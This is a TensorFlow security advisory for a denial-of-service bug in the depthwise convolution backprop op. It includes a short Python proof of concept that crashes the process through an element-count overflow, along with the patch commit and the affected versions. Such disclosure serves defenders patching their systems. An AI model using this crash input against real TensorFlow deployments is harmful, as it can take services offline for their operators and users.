`CHECK` failure in depthwise ops via overflows
Impact
The implementation of depthwise ops in TensorFlow is vulnerable to a denial of service via CHECK-failure (assertion failure) caused by overflowing the number of elements in a tensor:
```python
import tensorflow as tf
input = tf.constant(1, shape=[1, 4, 4, 3], dtype=tf.float32)
filter_sizes = tf.constant(1879048192, shape=[13], dtype=tf.int32)
out_backprop = tf.constant(1, shape=[1, 4, 4, 3], dtype=tf.float32)
tf.raw_ops.DepthwiseConv2dNativeBackpropFilter(
input=input, filter_sizes=filter_sizes, out_backprop=out_backprop, strides=[1, 1, 1, 1], padding="SAME")
`
This is another instance of [TFSA-2021-198](https://github.com/tensorflow/tensorflow/blob/master/tensorflow/security/advisory/tfsa-2021-198.md) (CVE-2021-41197).
Patches
We have patched the issue in GitHub commit [3796cc4fcd93ae55812a457abc96dcd55fbb854b](https://github.com/tensorflow/tensorflow/commit/3796cc4fcd93ae55812a457abc96dcd55fbb854b).
The fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.
